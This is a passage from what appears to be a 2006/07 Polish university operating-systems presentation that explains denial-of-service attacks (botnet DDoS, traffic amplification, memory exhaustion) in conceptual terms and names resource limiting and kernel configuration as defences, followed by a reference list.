Nie zawsze muszą być one związane z oprogramowaniem. Czasami po prostu posiadacz szybszego łącza może zapchać wolniejsze łącze innego użytkownika i ani oprogramowanie ani jego konfiguracja (po stronie ofiary) nie ma tu nic do rzeczy. Szczególnie niebezpieczne są w takim przypadku ataki typu DDOS, ponieważ nie istnieje wtedy pojedyncze źródło ataku, które można by zablokować. Nie da się bowiem zablokować "sieci" setek tysięcy a nawet milionów źle zabezpieczonych komputerów podłączonych do Internetu na całym świecie, nad którymi atakujący przejął kontrolę i używa ich do jakiegoś scentralizowanego ataku. Z tego typu atakiem nie są sobie w stanie poradzić nawet najbogatsze i najbardziej zasobne w łącza firmy na świecie. Takie przypadki się zdarzały i zdarzają coraz częściej (na przykład BlueFrog, wiele amerykańskich kasyn internetowych), można nawet zaryzykować twierdzenie, że rozwija się nowy rodzaj terroryzmu polegający na szantażowaniu i blokowaniu stron internetowych w celu wymuszenia okupu lub zrealizowania innych celów gospodarczych lub politycznych.

Na szczęście jednak "właścicieli" tego typu "sieci" (zwanych botnetami) nie ma zbyt dużo a proste ataki DOS można mniej lub bardziej skutecznie zablokować korzystając z pomocy firm dostarczających internet. Ale czasami źródło ataku leży tam gdzie cel: tworzą je tysiące stron, programów i aplikacji internetowych, które aż "proszą się" o przeprowadzenie na nich ataku. Przykładowo wpadają one w nieskończoną pętlę albo rekurencję i wysyłają przez sieć coraz więcej danych albo odbijają pocztę "w kółko", za każdym razem zwiększając jej rozmiar (czasami bardzo znacznie) informacjami o nieudanym dostarczeniu. W takim przypadku nawet posiadacz modemu analogowego może zaatakować firmę podłączoną kilkudziesięciomegabitowym światłowodem.

Innym "dobrym" sposobem na zablokowanie usługi (a nawet kilku usług znajdujących się na tym samym serwerze) jest spowodowanie aby program obsługujący daną usługę zaalokował zbyt dużo pamięci i albo sam zakończył się z błędem albo spowodował spowolnienie działania lub nawet zawieszenie się całego systemu. Nawet jeśli to ostatnie nie do końca się uda, to istnieje zawsze szansa, że system operacyjny "broniąc się" przed kompletnym brakiem pamięci zacznie zabijać ważne i duże procesy (na przykład oprogramowanie bazodanowe), tym samym doprowadzając do awarii zależnych od nich aplikacji.

Jedyną skuteczną obroną przed tego typu atakiem jest odpowiednie limitowanie zasobów, takie pisanie oprogramowania, żeby użytkownik zewnętrzny nie mógł spowodować ich nadmiernego użycia oraz dobre skonfigurowanie jądra aby zmniejszyć prawdopodobieństwo zabicia ważnych procesów.

Literatura

  1. http://www.phrack.org/archives/49/P49-14
  2. http://pax.grsecurity.net
  3. http://blogs.msdn.com/michael_howard/archive/2006/05/26/608315.aspx
  4. http://www.trl.ibm.com/projects/security/ssp/
  5. http://gcc.gnu.org/
  6. http://students.mimuw.edu.pl/SO/Projekt04-05/temat5-g2/index.html
  7. http://www.wikipedia.org/
  8. materiały własne
Prezentacja na Systemy Operacyjne 2006/07 - Informatyka MIMUW.
Grzegorz Kulewski (O nas)